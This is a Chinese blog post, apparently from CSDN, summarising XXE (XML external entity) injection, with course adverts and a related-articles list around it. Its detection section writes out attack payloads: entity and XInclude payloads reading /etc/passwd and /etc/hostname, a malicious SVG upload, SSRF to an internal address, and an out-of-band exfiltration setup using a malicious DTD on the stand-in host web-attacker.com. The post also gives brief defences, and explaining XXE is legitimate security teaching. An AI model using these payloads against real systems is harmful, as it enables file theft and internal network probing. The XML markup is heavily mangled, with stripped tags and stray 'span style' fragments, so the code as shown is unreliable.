XXE外部实体注入漏洞总结
Python微信订餐小程序课程视频
https://edu.csdn.net/course/detail/36074
Python实战量化交易理财系统
https://edu.csdn.net/course/detail/35475
XXE
漏洞原理
XXE是xml外部实体注入漏洞,应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行,内网端口扫描攻击内网网站等危害。
漏洞危害
1. 读取敏感文件。
2. 执行ssrf漏洞,进行内网端口探测,攻击内网网站等。
漏洞检测
1. XInclude攻击
一些应用程序接收用户的数据,在服务端嵌入到xml文档中解析,这时我们无法控制整个xml文档,所以就无法定义或修改DOCTYPE元素。XInclede是xml规范的一部分,允许从子文档中构建xml文档,从而进行攻击。
"http://www.w3.org/2001/XInclude">
"text" href="file:///etc/passwd"/>
2. 利用文件上传来进行xxe攻击
docx和svg等都是基于xml格式,如果图像处理库支持SVG图像,攻击者可以提交恶意的SVG图像,就可以利用文件上传执行xxe攻击。
创建具有xml代码的SVG图像
xml version=<span style="color: rgba(128, 0, 0, 1)""1.0" standalone="yes"?>"file:///etc/hostname" > ]>"128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">"16" x="0" y="16">&xxe;
将此图像上传上去。就可以在头像中看到/etc/hostname文件的内容。
3. 通过修改请求包的文件内容类型来进行xxe攻击
有些应用程序会允许xml的内容类型,我们就可以修改Content-Type: text/xml字段,来利用xxe漏洞。
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52xml version=<span style="color: rgba(128, 0, 0, 1)""1.0" encoding="UTF-8"?>bar原来的请求体中的内容是:foo=bar
4. 读取敏感文件
利用file协议读取服务器中的敏感文件。
xml version=<span style="color: rgba(128, 0, 0, 1)""1.0" encoding="UTF-8"?>
"file:///etc/passwd"> ]>
&xxe;
5. 执行ssrf攻击
利用http协议,让存在xxe漏洞的应用程序向与它处于同一内网的发送http请求。
"http://192.168.1.1:3389"> ]>
6. 带外通道技术来进行盲注xxe
一般情况下,虽然存在xxe漏洞,但是不会回显外部实体注入的值,我们就要利用带外通道技术。(OOB)
攻击者在vps中放置恶意的DTD,让存在漏洞的应用程序去访问。
恶意DTD(外部实体)内容:访问http://web-attacker.com/malicious.dtd可以访问到改DTD
">
%eval;
%exfiltrate;
向存在漏洞的应用程序中输入:
%xxe;]>
7. 通过错误消息来读取文件
通过触发xml解析错误,在解析错误信息中返回我们需要读取的敏感信息。
"file:///etc/passwd">
"">
%eval;
%error;
漏洞防御
1. 使用开发语言提供的禁用外部实体的方法。
2. 过滤用户输入的xml数据中的关键字。
3. 不允许xml中有用户自定义的文档类型。
XXE外部实体注入漏洞总结相关推荐
- XML外部实体注入漏洞——XXE简单分析
前言: XXE漏洞经常出现在CTF中,一直也没有系统的学习过,今天就来总结一波. 文章目录 一.XXE 漏洞是什么: 二.XML基础知识: 1.XML是什么? 2.XML文档结构: DTD声明方式: ...
- Pikachu-XXE(xml外部实体注入漏洞)
XXE -"xml external entity injection" 既"xml外部实体注入漏洞". 概括一下就是"攻击者通过向服务器注入指定的x ...
- PHP环境 XML外部实体注入漏洞
PHP环境 XML外部实体注入漏洞 环境介绍 漏洞原理 漏洞复现 修补方案和建议 环境介绍 libxml 2.8.0 libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡.为了演示P ...
- Xml外部实体注入漏洞(XXE)与防护
转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...
- XXE(XML外部实体注入)漏洞
如果你的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么你很有可能会受到XXE的攻击.XXE是一种非常常见的漏洞类型,我们几乎每天都会碰到它 什么是 ...
- 【网络安全】JAVA代码审计—— XXE外部实体注入
一.WEB安全部分 想要了解XXE,在那之前需要了解XML的相关基础 二.XML基础 2.1 XML语法 所有的XML元素都必须有一个关闭标签 XML标签对大小写敏感 XML必须正确嵌套 XML 文档 ...
- XML 外部实体注入漏洞
0x01 XXE(XML外部实体注入)漏洞 1.1 漏洞原因 1.2 漏洞构造方式 1.3 XML可解析的协议 0x02 寻找XXE漏洞隐藏的攻击面 2.1 XInclude攻击 2.2 通过文件上传 ...
- 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析
0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...
- XXE(XML外部实体注入)详解
1. XXE漏洞描述 XXE(XML External Entity Injection)又称为"XML外部实体注入漏洞". 当允许引用外部实体时,通过构造恶意内容,就可能导致任意 ...
最新文章
- VL09增强-冲销校验
- linux怎么取消raid磁盘阵列,Linux下彻底关闭某个RAID磁盘阵列
- 古人把月球叫做广寒宫,古人是怎么知道月球上很冷的?一起来看看
- UC浏览器电脑版怎么设置字体大小 UC浏览器字体设置教程
- mac下ssh报错:ssh_exchange_identification: read: Connection reset by peer
- python选择排序算法图解_简单选择排序算法(C语言详解版)
- 基于LSTM、KNN等模型的平安银行股价预测对比研究(python)
- matlab画图画点画直线
- U盘中的文件夹被病毒隐藏,生成了同名的.exe后缀的可执行文件
- 基于FPGA的ov5640摄像头简易图像采集装置详解
- 阿里云Blink快速入门
- QT虚拟键盘中英文切换
- 华为鸿蒙福田办公室,华为鸿蒙第一批名单
- 教你文件批量重命名技巧,彻底告别手工改名的繁琐
- 智能车单车组之平衡控制理论分析篇
- 游戏分析鉴赏选修大作业
- 离网型风力发电机与并网型风力发电机之间的区别
- [Python]ctypes+struct实现类c的结构化数据串行处理
- 百度地图API 使用Demo
- java删除linux上的文件或文件夹工具类
热门文章
- 01.Windows系统安装
- WORD、WPS中插入公式后行距变大怎么办
- Luogu P2751 [USACO4.2]工序安排Job Processing
- 量化高频交易从0到1(期货CTP,纳秒级,高频、趋势及套利策略)课程大纲
- VisualVM的配置和使用
- 【全志T113-S3_100ask】15-2 linux系统gpio模拟spi驱动屏幕——ILI9341
- 微软薪资福利大揭密!
- VC中自定义打印调试信息函数,打印调试信息到DebugView上
- java类接口的区别_java抽象类和接口区别
- GetAsyncKeyState用法